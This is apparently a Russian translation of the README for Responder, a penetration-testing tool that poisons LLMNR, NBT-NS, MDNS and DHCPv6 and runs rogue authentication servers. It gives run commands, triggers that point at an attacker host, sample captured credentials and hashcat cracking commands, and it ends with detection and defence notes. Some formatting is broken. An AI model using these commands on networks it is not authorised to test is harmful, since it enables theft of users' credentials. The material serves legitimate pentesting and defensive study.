
Responder — это отравитель LLMNR, NBT-NS и MDNS, со встроенным поддельным сервером аутентификации HTTP/SMB/MSSQL/FTP/LDAP, поддерживающим NTLMv1/NTLMv2/LMv2, расширенную безопасность NTLMSSP и базовую HTTP-аутентификацию.
Responder — это отравитель LLMNR, NBT-NS и MDNS со встроенными подставными серверами аутентификации для HTTP, SMB, MSSQL, FTP, LDAP, Kerberos, DNS и других. Он поддерживает NTLMv1/NTLMv2/LMv2, расширенную безопасность NTLMSSP и различные методы аутентификации для более чем 15 протоколов.
Responder захватывает учетные данные, отвечая на запросы разрешения имен LLMNR, NBT-NS и MDNS. Когда клиент пытается разрешить несуществующее имя хоста, Responder отвечает, направляя клиента на машину атакующего, где несколько подставных серверов аутентификации захватывают учетные данные. Подставные серверы DHCP, DHCPv6 также включены и могут быть активированы отдельно.
Захваченные данные:
Эта версия включает:
sudo apt-get update sudo apt-get install python3 python3-pip python3-netifaces
### Установка Responder```bash
git clone https://github.com/lgandx/Responder.git
cd Responder
pip3 install -r requirements.txt
sudo python3 Responder.py --help
---
## Быстрый старт
### Базовое отравление```bash
# Standard LLMNR/NBT-NS poisoning
sudo python3 Responder.py -I eth0 -v
# Analyze mode (passive monitoring)
sudo python3 Responder.py -I eth0 -A -v
sudo python3 Responder.py -I eth0 --dhcpv6 -v
### Принудительный HTTP Basic Auth```bash
sudo python3 Responder.py -I eth0 -b -v
sudo python3 Responder.py -I eth0 -Pvd
---
## Отравление сети
### Отравление LLMNR/NBT-NS/MDNS
**Цель:** Отвечать на сбои разрешения имен
**Как это работает:**
1. Клиент отправляет широковещательный запрос для несуществующего хоста
2. Responder отвечает: «Я этот хост»
3. Клиент подключается к атакующему
4. Захвачены учетные данные
**Конфигурация:**```ini
[Responder Core]
LLMNR = On
NBTNS = On
MDNS = On
Использование:```bash sudo python3 Responder.py -I eth0 -v
---
### DHCPv6 Сервер
**Цель:** Принуждение клиентов к использованию DNS атакующего через IPv6
**Возможности:**
- ✅ Поддержка INFORMATION-REQUEST (Windows 10/11)
- ✅ Поддержка SOLICIT/REQUEST
- ✅ Фильтрация доменов (точечное нацеливание)
- ✅ Router Advertisement (опционально)
**Как это работает:**
1. Windows отправляет DHCPv6 INFORMATION-REQUEST, SOLICIT, REQUEST
2. Responder отвечает: DNS = IPv6 атакующего
3. Windows отдает приоритет IPv6 DNS
4. Все DNS запросы → атакующий
5. Отравление DNS → захват учетных данных
**Конфигурация:**```ini
[DHCPv6 Server]
; Only respond to specific domain
DHCPv6_Domain = corp.local
; Send Router Advertisements
SendRA = Off
; IPv6 address to advertise
BindToIPv6 = fe80::1
Использование:```bash sudo python3 Responder.py -I eth0 --dhcpv6 -v
**Ожидаемый вывод:**```
[DHCPv6] INFORMATION-REQUEST from fe80::a1b2:c3d4
[DHCPv6] Client domain: workstation.corp.local
[DHCPv6] Matched target domain: corp.local
[DHCPv6] Responding with DNS: fe80::1
[DNS] Query: mail.corp.local (A)
[DNS] Poisoned: mail.corp.local -> 192.168.1.100
[SMTP] Captured: [email protected]:Password123
Responder включает 17+ мошеннических серверов аутентификации:
Назначение: Захват хэшей NetNTLM из общих файловых ресурсов
Возможности:
Триггеры:```powershell
\attacker-ip\share \non-existent-server\files
net use \attacker-ip\share
\attacker-ip\
**Захваченный формат:**```
username::domain:challenge:response:blob
Взлом:```bash hashcat -m 5600 smb-ntlmv2.txt wordlist.txt
**Конфигурация:**```ini
[Responder Core]
SMB = On
Назначение: Захват незашифрованных учётных данных FTP
Возможности:
Триггеры:```bash ftp attacker-ip
**Захваченный формат:**```
[FTP] Cleartext: username:password
Конфигурация:```ini [Responder Core] FTP = On
---
### Серверы баз данных
#### MSSQL Server (Порт 1433)
**Назначение:** Захват аутентификации Microsoft SQL Server
**Особенности:**
- ✅ Аутентификация SQL Server
- ✅ Аутентификация Windows (NTLM)
- ✅ SQL-учетные данные в открытом виде
- ✅ Захват хэша NetNTLMv2
**Триггеры:**```sql
-- SQL Server Management Studio
Server: attacker-ip
Authentication: SQL Server / Windows
-- Command line
sqlcmd -S attacker-ip -U sa -P password
-- Connection strings
Server=attacker-ip;Database=master;User Id=sa;Password=pass;
Захваченные форматы:``` [MSSQL] SQL Auth: sa:password123 [MSSQL] NetNTLMv2: DOMAIN\user::domain:challenge:response:blob
**Конфигурация:**```ini
[Responder Core]
SQL = On
Примечания:
Назначение: Захват аутентификации почтовых клиентов
Особенности:
Поток STARTTLS:``` Client → EHLO Server → 250-STARTTLS Client → STARTTLS Server → 220 Ready to start TLS [TLS handshake using self-signed cert] Client → AUTH PLAIN Server → Captured! ✅
**Триггеры:**```
Email client configuration:
- Server: attacker-ip
- Port: 25 or 587
- Security: STARTTLS or None
- Username: anything
- Password: anything
Захваченные форматы:``` [SMTP] LOGIN: [email protected]:Password123 [SMTP] NetNTLMv2: user::DOMAIN:challenge:response:blob [SMTP] CRAM-MD5: user:challenge:response
**Конфигурация:**```ini
[Responder Core]
SMTP = On
Certificate Warnings: Self-signed cert warnings are normal. Clients reject first attempt, retry, and succeed. Credentials still captured.
Purpose: Capture IMAP authentication with STARTTLS
Features:
STARTTLS Flow:``` Client → CAPABILITY Server → * CAPABILITY IMAP4 AUTH=PLAIN AUTH=NTLM STARTTLS Client → STARTTLS Server → OK Begin TLS negotiation now [TLS upgrade] Client → LOGIN user password Server → Captured! ✅
**Конфигурация:**```ini
[Responder Core]
IMAP = On
Назначение: IMAP через SSL (нативное шифрование)
Особенности:
Чем отличается от IMAP:``` Port 143 (IMAP): Plain → STARTTLS → Encrypted Port 993 (IMAPS): Encrypted from start
**Конфигурация:**```ini
[Responder Core]
IMAPS = On
Назначение: Захват учётных данных POP3 при получении email
Особенности:
Триггеры:``` Email client:
**Захваченный формат:**```
[POP3] USER: username
[POP3] PASS: password
Конфигурация:```ini [Responder Core] POP = On
---
### Веб-серверы
#### HTTP-сервер (порт 80)
**Назначение:** Перехват веб-аутентификации
**Возможности:**
- ✅ Аутентификация NTLM (NetNTLMv1/v2)
- ✅ Базовая аутентификация (открытый текст)
- ✅ Аутентификация Digest (MD5)
- ✅ Инъекция WPAD
**Триггеры:**```
Browser: http://attacker-ip/
UNC: file://attacker-ip/share
WPAD: Automatic proxy detection
Принудительная базовая аутентификация:```bash sudo python3 Responder.py -I eth0 -b
**Захваченные форматы:**```
[HTTP] NTLM NTLMv2: user::DOMAIN:challenge:response:blob
[HTTP] Basic: user:password
[HTTP] Digest: user:realm:hash
Конфигурация:```ini [Responder Core] HTTP = On
---
#### HTTPS сервер (порт 443)
**Назначение:** HTTPS с захватом аутентификации
**Возможности:**
- ✅ Шифрование SSL/TLS
- ✅ Все методы HTTP-аутентификации
- ✅ Самоподписанный сертификат
- ✅ WPAD через HTTPS
**Конфигурация:**```ini
[Responder Core]
HTTPS = On
SSLCert = certs/responder.crt
SSLKey = certs/responder.key
Назначение: Захват хэшей AS-REP для офлайн-взлома
Возможности:
Принцип работы:
Взлом:```bash hashcat -m 7500 kerberos-asreq.txt wordlist.txt
**Конфигурация:**```ini
[Responder Core]
Kerberos = On
Назначение: Захват аутентификации в каталоге LDAP
Возможности:
Триггеры:```bash
ldapsearch -H ldap://attacker-ip -D "CN=user,DC=corp,DC=local" -w password
dsquery user -d attacker-ip
**Захваченные форматы:**```
[LDAP] Simple: CN=user,DC=corp,DC=local:password
[LDAP] NetNTLMv2: user::DOMAIN:challenge:response:blob
Конфигурация:```ini [Responder Core] LDAP = On
---
#### LDAPS Сервер (Порт 636)
**Назначение:** LDAP через SSL
**Возможности:**
- ✅ Шифрование SSL/TLS
- ✅ Все методы аутентификации LDAP
**Конфигурация:**```ini
[Responder Core]
LDAP = On
Назначение: Захват аутентификации удаленного рабочего стола
Возможности:
Триггеры:``` Remote Desktop Client:
**Формат захвата:**```
[RDP] NetNTLMv2: user::DOMAIN:challenge:response:blob
Конфигурация:```ini [Responder Core] RDP = On
**Примечание:** Захватывает аутентификацию NLA до сеанса рабочего стола.
---
#### Сервер WinRM (порты 5985, 5986)
**Назначение:** Захват учетных данных удаленного управления Windows
**Возможности:**
- ✅ HTTP (5985) и HTTPS (5986)
- ✅ Базовая аутентификация
- ✅ Аутентификация NTLM
- ✅ Аутентификация Kerberos
**Триггеры:**```powershell
# PowerShell remoting
Enter-PSSession -ComputerName attacker-ip
Invoke-Command -ComputerName attacker-ip -ScriptBlock { whoami }
# WinRM command line
winrm invoke -remote:http://attacker-ip
Захваченные форматы:``` [WinRM] Basic: DOMAIN\user:password [WinRM] NetNTLMv2: user::DOMAIN:challenge:response:blob
**Конфигурация:**```ini
[Responder Core]
WINRM = On
Назначение: Мошеннический DNS с фильтрацией доменов
Возможности:
Конфигурация:```ini [DHCPv6 Server] ; DNS uses same domain filter as DHCPv6 DHCPv6_Domain = corp.local
**Как это работает:**```
Query: mail.corp.local
Response: 192.168.1.100 (attacker)
Client connects to attacker's SMTP
Credentials captured!
Поддерживаемые типы записей:
Пример фильтрации доменов:``` DHCPv6_Domain = corp.local
mail.corp.local → POISONED ✅ dc01.corp.local → POISONED ✅ google.com → IGNORED (normal DNS)
**Конфигурация:**```ini
[Responder Core]
DNS = On
Назначение: Захват аутентификации Windows RPC
Особенности:
Триггеры:``` Windows services querying RPC endpoint mapper WMI queries Remote registry access
**Захваченный формат:**```
[DCERPC] NetNTLMv2: user::DOMAIN:challenge:response:blob
Конфигурация:```ini [Responder Core] DCERPC = On
---
## Конфигурация
### Основной конфигурационный файл
Отредактируйте `Responder.conf`:```ini
[Responder Core]
; === Network Services ===
SQL = On # MSSQL (port 1433)
SMB = On # SMB (ports 445, 139)
RDP = On # Remote Desktop (port 3389)
Kerberos = On # Kerberos (port 88)
FTP = On # FTP (port 21)
POP = On # POP3 (port 110)
SMTP = On # SMTP with STARTTLS (port 25/587)
IMAP = On # IMAP with STARTTLS (port 143)
IMAPS = On # IMAPS with SSL (port 993)
HTTP = On # HTTP (port 80)
HTTPS = On # HTTPS (port 443)
DNS = On # DNS (port 53)
LDAP = On # LDAP/LDAPS (ports 389/636)
DCERPC = On # Windows RPC (port 135)
WINRM = On # Windows Remote Management (ports 5985/5986)
; === Poisoners ===
LLMNR = On # Link-Local Multicast Name Resolution
NBTNS = On # NetBIOS Name Service
MDNS = On # Multicast DNS
DHCP = Off # DHCP (IPv4) - use with caution
DHCPv6 = On # DHCPv6 (IPv6) - use with more caution
; === Settings ===
SessionLog = On
LogToFile = On
Verbose = Yes
Database = Responder.db
; === SSL Certificates ===
SSLCert = certs/responder.crt
SSLKey = certs/responder.key
[HTTP Server]
HtmlFilename = files/AccessDenied.html
[DHCPv6 Server]
; Target specific domain
DHCPv6_Domain = corp.local
; Send Router Advertisements (use with caution)
SendRA = Off
; IPv6 address to advertise
BindToIPv6 = fe80::1
sudo python3 Responder.py [options]
### Обязательные аргументы
| Параметр | Описание |
|--------|-------------|
| `-I eth0, --interface=eth0` | Сетевой интерфейс для использования (используйте 'ALL' для всех интерфейсов) |
### Параметры отравления
| Параметр | Описание |
|--------|-------------|
| `-A, --analyze` | Режим анализа - просмотр запросов NBT-NS, MDNS, LLMNR без ответа |
| `-w, --wpad` | Запуск мошеннического прокси-сервера WPAD (по умолчанию: выкл) |
| `-F, --ForceWpadAuth` | Принудительная аутентификация NTLM/Basic при получении wpad.dat (старые сети)|
| `-P, --ProxyAuth` | Принудительная аутентификация NTLM/Basic для прокси (очень эффективно) |
### Параметры DHCP/DHCPv6
| Параметр | Описание |
|--------|-------------|
| `-d, --DHCP` | Включение ответов на широковещательные запросы DHCP с внедрением WPAD (IPv4) |
| `-D, --DHCP-DNS` | Внедрение DNS-сервера в ответ DHCP вместо WPAD |
| `--dhcpv6` | Включение отравления DHCPv6 (отвечает на сообщения SOLICIT) |
### Параметры отравления IP
| Параметр | Описание |
|--------|-------------|
| `-e 10.0.0.22, --externalip=10.0.0.22` | Отравление запросов другим IPv4-адресом |
| `-6 ADDR, --externalip6=ADDR` | Отравление запросов другим IPv6-адресом |
| `-i 10.0.0.21, --ip=10.0.0.21` | Локальный IP для использования (только macOS) |
### Параметры аутентификации
| Параметр | Описание |
|--------|-------------|
| `-b, --basic` | Возврат базовой аутентификации HTTP (по умолчанию: NTLM) |
| `--lm` | Принудительное понижение хэширования LM (Windows XP/2003) |
| `--disable-ess` | Принудительное понижение расширенной безопасности NTLMSSP |
### Расширенные параметры
| Параметр | Описание |
|--------|-------------|
| `-u HOST:PORT, --upstream-proxy=HOST:PORT` | Вышестоящий HTTP-прокси для мошеннического WPAD |
| `-t 1e, --ttl=1e` | Изменение TTL Windows для отравленных ответов (hex: 30s=1e, или 'random') |
| `-N NAME, --AnswerName=NAME` | Каноническое имя для ответов LLMNR (полезно для ретрансляции Kerberos) |
| `-E, --ErrorCode` | Возврат STATUS_LOGON_FAILURE (включает захват аутентификации WebDAV) |
### Параметры вывода
| Параметр | Описание |
|--------|-------------|
| `-v, --verbose` | Увеличение подробности вывода (рекомендуется) |
| `-Q, --quiet` | Тихий режим - отключение вывода отравителя |
### Информация
| Параметр | Описание |
|--------|-------------|
| `--version` | Показать версию программы и выйти |
| `-h, --help` | Показать справочное сообщение и выйти |
---
### Расположение хранилищ```
Responder.db # SQLite database
logs/
├── HTTP-NTLMv2-<IP>.txt # HTTP NetNTLMv2 hashes
├── SMB-NTLMv2-<IP>.txt # SMB NetNTLMv2 hashes
├── MSSQL-NTLMv2-<IP>.txt # MSSQL NetNTLMv2 hashes
├── Kerberos-AES-<IP>.txt # Kerberos AS-REP hashes
├── SMTP-Cleartext-<IP>.txt # SMTP cleartext credentials
├── IMAP-NTLMv2-<IP>.txt # IMAP NetNTLMv2 hashes
├── FTP-Cleartext-<IP>.txt # FTP cleartext credentials
├── LDAP-Cleartext-<IP>.txt # LDAP cleartext credentials
├── RDP-NTLMv2-<IP>.txt # RDP NetNTLMv2 hashes
└── WinRM-NTLMv2-<IP>.txt # WinRM NetNTLMv2 hashes
sqlite3 Responder.db
.tables
SELECT * FROM hashes;
.mode csv .output hashes.csv SELECT * FROM hashes; .quit
---
### Соображения по OpSec
**Индикаторы обнаружения:**
- Необычные ответы LLMNR/NBT-NS
- Неавторизованный DHCP/DHCPv6 сервер
- Недопустимые запросы предварительной аутентификации Kerberos
- Самозаверенные SSL-сертификаты
- Множественные ошибки аутентификации
- Подозрительные ответы DNS
**Защитные меры:**
- Отключить MDNS/LLMNR/NBT-NS через GPO
- Включить DHCP snooping на коммутаторе
- Включить защиту IPv6 RA
- Включить защиту DHCPv6
- Мониторинг неавторизованных DHCPv6 серверов
---
## macOS
Responder работает на macOS, но требует указания флага `-i` для указания вашего локального IP-адреса. macOS не поддерживает опцию сокета `SO_BINDTODEVICE`, используемую в Linux для привязки к интерфейсу.
### Использование скрипта запуска
Включенный скрипт `macOS_Launcher.sh` автоматически обрабатывает конфликты служб:```bash
sudo ./macOS_Launcher.sh -I en0
Запускающий модуль будет:
-i для переопределения)ipconfig getifaddr en0
sudo python3 Responder.py -I en0 -i 192.168.1.100
### Защита целостности системы (SIP)
При включенной SIP (по умолчанию) macOS предотвращает остановку системных служб, которые привязываются к портам, необходимым Responder. У вас есть три варианта:
1. **Используйте скрипт запуска** — он сообщит о конфликтах и продолжит работу с тем, что доступно
2. **Отключите конфликтующие модули** в `Responder.conf` (например, `SMB = Off`, `DNS = Off`)
3. **Отключите SIP** для полной функциональности (см. [документацию Apple](https://developer.apple.com/documentation/security/disabling-and-enabling-system-integrity-protection))
---
## Устранение неполадок
### Часто встречающиеся проблемы
**Отказано в доступе:**```bash
sudo python3 Responder.py -I eth0
Интерфейс не найден:```bash ip link show sudo python3 Responder.py -I wlan0
**Порт уже используется:**```bash
sudo netstat -tulpn | grep 445
sudo systemctl stop smbd nmbd
DHCPv6 не работает:```bash
sudo sysctl -w net.ipv6.conf.all.disable_ipv6=0
sysctl net.ipv6.conf.all.disable_ipv6
**Нет захваченных хэшей:**```bash
# Verify servers running
sudo python3 Responder.py -I eth0 -v
# Check firewall
sudo iptables -L
# Monitor traffic
sudo tcpdump -i eth0 port 445 or port 88 or port 389
sudo python3 Responder.py -I eth0 -vv
tail -f logs/Responder-Session.log
sudo tcpdump -i eth0 -w responder-capture.pcap
---
## Благодарности
**Автор:** Laurent Gaffié
- GitHub: https://github.com/lgandx
- Веб-сайт: https://secorizon.com/
- Twitter: @secorizon
---
## Пожертвования
Вы можете поддержать этот проект, переведя средства на следующие адреса USDT или Bitcoin:
USDT: 0xCc98c1D3b8cd9b717b5257827102940e4E17A19A
BTC: bc1q9360jedhhmps5vpl3u05vyg4jryrl52dmazz49
Paypal:
https://paypal.me/PythonResponder
---
## Выражение признательности
Разработка Late Responder стала возможной благодаря пожертвованиям, полученным от частных лиц и компаний.
Мы хотели бы поблагодарить наших основных спонсоров:
SecureWorks: https://www.secureworks.com/
Synacktiv: https://www.synacktiv.com/
Black Hills Information Security: http://www.blackhillsinfosec.com/
TrustedSec: https://www.trustedsec.com/
Red Siege Information Security: https://www.redsiege.com/
Open-Sec: http://www.open-sec.com/
И всех, ВСЕХ пентестеров по всему миру, которые сделали пожертвования этому проекту.
Спасибо.